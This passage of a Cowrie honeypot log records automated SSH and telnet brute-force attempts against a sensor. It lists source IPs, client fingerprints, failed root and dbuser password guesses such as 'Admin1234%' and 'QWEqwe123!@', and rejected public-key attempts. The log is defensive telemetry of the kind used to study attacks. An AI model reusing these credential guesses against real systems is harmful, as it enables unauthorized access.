f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:42.245947Z","src_ip":"185.40.30.168","session":"6900e1c60445","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Admin1234%","message":"login attempt [root/Admin1234%] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:42.778512Z","src_ip":"185.40.30.168","session":"6900e1c60445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:43.906992Z","src_ip":"185.40.30.168","session":"6900e1c60445","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.359893560409546,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:47:57.180696Z","src_ip":"192.119.13.58","session":"09fc11e3720d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.32.162.151","src_port":41426,"dst_ip":"159.203.135.109","dst_port":22,"session":"926011283c30","protocol":"ssh","message":"New connection: 193.32.162.151:41426 (159.203.135.109:22) [session: 926011283c30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:08.051677Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:08.060644Z","src_ip":"193.32.162.151","session":"926011283c30","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:08.167145Z","src_ip":"193.32.162.151","session":"926011283c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.96.74.162","src_port":50368,"dst_ip":"10.17.0.5","dst_port":22,"session":"1d137349963a","protocol":"ssh","message":"New connection: 103.96.74.162:50368 (10.17.0.5:22) [session: 1d137349963a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:08.175987Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:08.181184Z","src_ip":"103.96.74.162","session":"1d137349963a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:08.404541Z","src_ip":"103.96.74.162","session":"1d137349963a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dbuser","password":"dbuser","message":"login attempt [dbuser/dbuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:08.510379Z","src_ip":"193.32.162.151","session":"926011283c30","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"QWEqwe123!@","message":"login attempt [root/QWEqwe123!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:09.065239Z","src_ip":"103.96.74.162","session":"1d137349963a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:09.615972Z","src_ip":"193.32.162.151","session":"926011283c30","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.134.112.237","src_port":46666,"dst_ip":"159.203.135.109","dst_port":22,"session":"6ef39d309945","protocol":"ssh","message":"New connection: 43.134.112.237:46666 (159.203.135.109:22) [session: 6ef39d309945]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:09.639751Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:09.647544Z","src_ip":"43.134.112.237","session":"6ef39d309945","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:09.892565Z","src_ip":"43.134.112.237","session":"6ef39d309945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:10.275746Z","src_ip":"103.96.74.162","session":"1d137349963a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"deploy!@","message":"login attempt [root/deploy!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:10.902741Z","src_ip":"43.134.112.237","session":"6ef39d309945","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:12.151560Z","src_ip":"43.134.112.237","session":"6ef39d309945","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"149.56.241.206","src_port":34164,"dst_ip":"10.17.0.5","dst_port":22,"session":"2c20a53abda9","protocol":"ssh","message":"New connection: 149.56.241.206:34164 (10.17.0.5:22) [session: 2c20a53abda9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.130843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.135884Z","src_ip":"149.56.241.206","session":"2c20a53abda9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.159099Z","src_ip":"149.56.241.206","session":"2c20a53abda9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"47:4a:b6:10:c9:14:88:22:ad:fd:fd:65:cd:9c:d1:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2hJjkInDQN6+WWPeEfjdor0E+UE+LvZqkQGGrn8Pe1Vc0xpG+d6tACOPcySyihsLXU4UjBfbYJr+cA0nUfO1S7vRa0ExPsdTaYOYyooyIhs2gUxZYnaOBYwsR2TpmxwIOl0M8E2ozUhAvytpk+nevr+0isxDMf2g8N5lxW8W+vwBEZ3dNe8gihUIEh16hssXWDdwzKh5BlK+z0qNyMYLzoCIDfNU5jTxPM/6VxOQZ2y79o2h0SNDNE78oNH9sU5kgEppRC5DnEHnAmePhzWZvrTHap7WR8YnRNB0w0Xyg/OT0kil8OWbkPvYQVtG1KXTts7KoTHYgNh25awmXHRkT","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 47:4a:b6:10:c9:14:88:22:ad:fd:fd:65:cd:9c:d1:6e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.240875Z","src_ip":"149.56.241.206","session":"2c20a53abda9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"47:4a:b6:10:c9:14:88:22:ad:fd:fd:65:cd:9c:d1:6e","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC2hJjkInDQN6+WWPeEfjdor0E+UE+LvZqkQGGrn8Pe1Vc0xpG+d6tACOPcySyihsLXU4UjBfbYJr+cA0nUfO1S7vRa0ExPsdTaYOYyooyIhs2gUxZYnaOBYwsR2TpmxwIOl0M8E2ozUhAvytpk+nevr+0isxDMf2g8N5lxW8W+vwBEZ3dNe8gihUIEh16hssXWDdwzKh5BlK+z0qNyMYLzoCIDfNU5jTxPM/6VxOQZ2y79o2h0SNDNE78oNH9sU5kgEppRC5DnEHnAmePhzWZvrTHap7WR8YnRNB0w0Xyg/OT0kil8OWbkPvYQVtG1KXTts7KoTHYgNh25awmXHRkT","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.244409Z","src_ip":"149.56.241.206","session":"2c20a53abda9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e4:a0:bd:69:80:b9:55:be:20:9d:2b:7d:e8:30:b9:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyHtU3PVuIQy8hoziwPAdO+9QqgcQggXmgBYf31C/V+2d09NAzlHWnY++423yILrHI5xFkQ8gBTosPQ4TV5Auz8XjOJIE305dqyaSlq9WAjfI7gZJK2KA62jAZJUd30b7KLGLZ7zDoIy4le2iBk69CEbVsef21gJ60yxH3nXnKx3kuYfosGGAE2mYBZ4/sSR5owstkjCVZv0EilJfPTpBdhNfwh39pl7wSXYHWPcwOT7PHsh04/a20RkD/Z1rZUAylqfQOZsfXLrc6u7sOm0ppDm01bHU5ly5JZ54Cyh2aTvg8rLC09ksrIeQ2QM/dOaseHFsPAtn4zpeLVM8fFiCKw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e4:a0:bd:69:80:b9:55:be:20:9d:2b:7d:e8:30:b9:77","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.268078Z","src_ip":"149.56.241.206","session":"2c20a53abda9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e4:a0:bd:69:80:b9:55:be:20:9d:2b:7d:e8:30:b9:77","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAyHtU3PVuIQy8hoziwPAdO+9QqgcQggXmgBYf31C/V+2d09NAzlHWnY++423yILrHI5xFkQ8gBTosPQ4TV5Auz8XjOJIE305dqyaSlq9WAjfI7gZJK2KA62jAZJUd30b7KLGLZ7zDoIy4le2iBk69CEbVsef21gJ60yxH3nXnKx3kuYfosGGAE2mYBZ4/sSR5owstkjCVZv0EilJfPTpBdhNfwh39pl7wSXYHWPcwOT7PHsh04/a20RkD/Z1rZUAylqfQOZsfXLrc6u7sOm0ppDm01bHU5ly5JZ54Cyh2aTvg8rLC09ksrIeQ2QM/dOaseHFsPAtn4zpeLVM8fFiCKw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.271663Z","src_ip":"149.56.241.206","session":"2c20a53abda9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"86:a7:2a:24:e7:e6:c6:a0:6a:6b:90:bc:9f:a6:3b:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8L7JaAWMr75hJJonffE+pq4MPgUQR8XQa69NVsVHqMYbfEmiHxcxRFPVdjIOkfTDRfcCQMwlhr3YWlbXbnyLVRawEjfviCUuAY0Am8unXEoFBm//kWjwCiJrsh3F4PCXlWMyuRxYiTx4FkhOJcZsdzwiAebTe9E/0KYEmiPJGruoUzpJCB27xcxTBqgqGGsavmMwu2Qv49lUD2Ma3vUvQYE3nflbf5rB83zkKRZtAi7yXOR33v30dWnvCWFIZ4aX1aCXGSfEbN0uOjy0xCjQYqxxKW1qk9Qq1tEj/m47GQdjcyTpZK37VO+Egd95v00vbAYjYFWyOFO5sxCu7t6ZX","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 86:a7:2a:24:e7:e6:c6:a0:6a:6b:90:bc:9f:a6:3b:c0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.295070Z","src_ip":"149.56.241.206","session":"2c20a53abda9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"86:a7:2a:24:e7:e6:c6:a0:6a:6b:90:bc:9f:a6:3b:c0","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC8L7JaAWMr75hJJonffE+pq4MPgUQR8XQa69NVsVHqMYbfEmiHxcxRFPVdjIOkfTDRfcCQMwlhr3YWlbXbnyLVRawEjfviCUuAY0Am8unXEoFBm//kWjwCiJrsh3F4PCXlWMyuRxYiTx4FkhOJcZsdzwiAebTe9E/0KYEmiPJGruoUzpJCB27xcxTBqgqGGsavmMwu2Qv49lUD2Ma3vUvQYE3nflbf5rB83zkKRZtAi7yXOR33v30dWnvCWFIZ4aX1aCXGSfEbN0uOjy0xCjQYqxxKW1qk9Qq1tEj/m47GQdjcyTpZK37VO+Egd95v00vbAYjYFWyOFO5sxCu7t6ZX","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.299168Z","src_ip":"149.56.241.206","session":"2c20a53abda9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"32:0a:21:98:12:c5:79:4b:73:70:af:1d:29:6f:2f:9e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANDobLZTvvxgRzGYjFGYdyPEWGRydOvQ2eHyx96d9m0zWUJOXIeLwpwjqn5zG/OW3yISBegVWlWIYWWefgQkVg/qOBgdlIlAKLT3MwqMtSW1ook6OiWJQdi3k2kY/X7HLqsCzI2daUjB1WlsNqEs9uhKKs1uc3oKKJw0SN+LLSQdAAAAFQChPyxK3B50PMxOkQf5K3LiUnuQtwAAAIAYzKkVinSiIuCafWtefROsiQE5flTXe3zESEr32f4/NuOFiIsVlLP/u3rEU4bMjSdno99blCkjBQGtGhpf8JVv4yGYiSZ/qpoDNk2VlFeL2jgzYHlxnbZGbjbhQYnrgOJ83DXKQo0muyAxfdK0QL1nE/wXJqVwiSkWeu6gPsqubAAAAIEAvqo315Av5WQCl6EnqnHkfeDMqSFjPf0flqs5/q5LawYhsvLhD3JIq+rXcg8XskIjD/UrEDLbvOAG6H3P3AbzP8V/7j/lRMPPYy7XZK2BaSPutgd+rmvBg+yzhA6viwnwMPllvCpXmAsyY0XroMlbeqFz8PYeRXvmARmsJR0pu7c=","type":"ssh-dss","message":"public key attempt for user root of type ssh-dss with fingerprint 32:0a:21:98:12:c5:79:4b:73:70:af:1d:29:6f:2f:9e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.320024Z","src_ip":"149.56.241.206","session":"2c20a53abda9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"32:0a:21:98:12:c5:79:4b:73:70:af:1d:29:6f:2f:9e","key":"ssh-dss AAAAB3NzaC1kc3MAAACBANDobLZTvvxgRzGYjFGYdyPEWGRydOvQ2eHyx96d9m0zWUJOXIeLwpwjqn5zG/OW3yISBegVWlWIYWWefgQkVg/qOBgdlIlAKLT3MwqMtSW1ook6OiWJQdi3k2kY/X7HLqsCzI2daUjB1WlsNqEs9uhKKs1uc3oKKJw0SN+LLSQdAAAAFQChPyxK3B50PMxOkQf5K3LiUnuQtwAAAIAYzKkVinSiIuCafWtefROsiQE5flTXe3zESEr32f4/NuOFiIsVlLP/u3rEU4bMjSdno99blCkjBQGtGhpf8JVv4yGYiSZ/qpoDNk2VlFeL2jgzYHlxnbZGbjbhQYnrgOJ83DXKQo0muyAxfdK0QL1nE/wXJqVwiSkWeu6gPsqubAAAAIEAvqo315Av5WQCl6EnqnHkfeDMqSFjPf0flqs5/q5LawYhsvLhD3JIq+rXcg8XskIjD/UrEDLbvOAG6H3P3AbzP8V/7j/lRMPPYy7XZK2BaSPutgd+rmvBg+yzhA6viwnwMPllvCpXmAsyY0XroMlbeqFz8PYeRXvmARmsJR0pu7c=","type":"ssh-dss","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.323954Z","src_ip":"149.56.241.206","session":"2c20a53abda9","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"38:f5:4b:ab:77:ef:c9:93:07:55:5c:8d:6b:36:ef:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDrmY1ZQmLV/nVBEwUylvNFJcICkXrQsLosE7gYQCKxyH6RfvU48iiMEJt+cDJpBXRdv+r73zgqaNmWCi07TcgBMkiXpGmZc6gwHdCl6rZxUZG6iRfdhvGyxilcJFcsDTOR5e/BB3UOk1nKtAZ1XUMef1uNX0KHKxdnHM6fMnfhXVuWWvSTtaNGN/rANDjhjLZubfaJi9tgQFAH2oexdhhvhvnYDjWA1CXTPTbO0UtIxisKaoE341qL0IuzcZsHctFsdvqgoopTwblCNmyIdrHngJye0wVTk3RIbK22GQMTmKTv/PrGFtZ8uoVcZIO2NeWBZix/RLqatU7+9TyUl+hQ/axQXNjc1cTnq9oR14RSE0cd1h95Mmq/1t4YnGshRKEGrLNFe/xenRI3UpN6P/C3QkMOWVBbm14lzNfOMG4QnDiWBzRz7x4ksKOJFx/UTL92ZjrDlQsh21NA8OPRx/7thG9mjSCRgftkNyiY5s6bKgVqx2AwTx4jl274izUks4ds4Gfp0tMyjhPeBGHqq/oKfc8lN0y3QhC/M+3mbk4NuE3gnJHaIbF8fdFzY9u9EMIIZ2uZNO5Ld/ynG64YG+Pw+rhHZFCMi1wmGeDsvBsQ5Rl6ArYTZrYsNTyOObm8yu7Avd53/e+zXX3JdauE+vzzNgrDW+vyRVveGdfxeAnbiw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 38:f5:4b:ab:77:ef:c9:93:07:55:5c:8d:6b:36:ef:2c","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.348288Z","src_ip":"149.56.241.206","session":"2c20a53abda9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"38:f5:4b:ab:77:ef:c9:93:07:55:5c:8d:6b:36:ef:2c","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQDrmY1ZQmLV/nVBEwUylvNFJcICkXrQsLosE7gYQCKxyH6RfvU48iiMEJt+cDJpBXRdv+r73zgqaNmWCi07TcgBMkiXpGmZc6gwHdCl6rZxUZG6iRfdhvGyxilcJFcsDTOR5e/BB3UOk1nKtAZ1XUMef1uNX0KHKxdnHM6fMnfhXVuWWvSTtaNGN/rANDjhjLZubfaJi9tgQFAH2oexdhhvhvnYDjWA1CXTPTbO0UtIxisKaoE341qL0IuzcZsHctFsdvqgoopTwblCNmyIdrHngJye0wVTk3RIbK22GQMTmKTv/PrGFtZ8uoVcZIO2NeWBZix/RLqatU7+9TyUl+hQ/axQXNjc1cTnq9oR14RSE0cd1h95Mmq/1t4YnGshRKEGrLNFe/xenRI3UpN6P/C3QkMOWVBbm14lzNfOMG4QnDiWBzRz7x4ksKOJFx/UTL92ZjrDlQsh21NA8OPRx/7thG9mjSCRgftkNyiY5s6bKgVqx2AwTx4jl274izUks4ds4Gfp0tMyjhPeBGHqq/oKfc8lN0y3QhC/M+3mbk4NuE3gnJHaIbF8fdFzY9u9EMIIZ2uZNO5Ld/ynG64YG+Pw+rhHZFCMi1wmGeDsvBsQ5Rl6ArYTZrYsNTyOObm8yu7Avd53/e+zXX3JdauE+vzzNgrDW+vyRVveGdfxeAnbiw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.352065Z","src_ip":"149.56.241.206","session":"2c20a53abda9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:21.376263Z","src_ip":"149.56.241.206","session":"2c20a53abda9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"217.154.42.110","src_port":59370,"dst_ip":"159.203.135.109","dst_port":22,"session":"18b0e25a22bc","protocol":"ssh","message":"New connection: 217.154.42.110:59370 (159.203.135.109:22) [session: 18b0e25a22bc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T02:48:22.867994Z"}
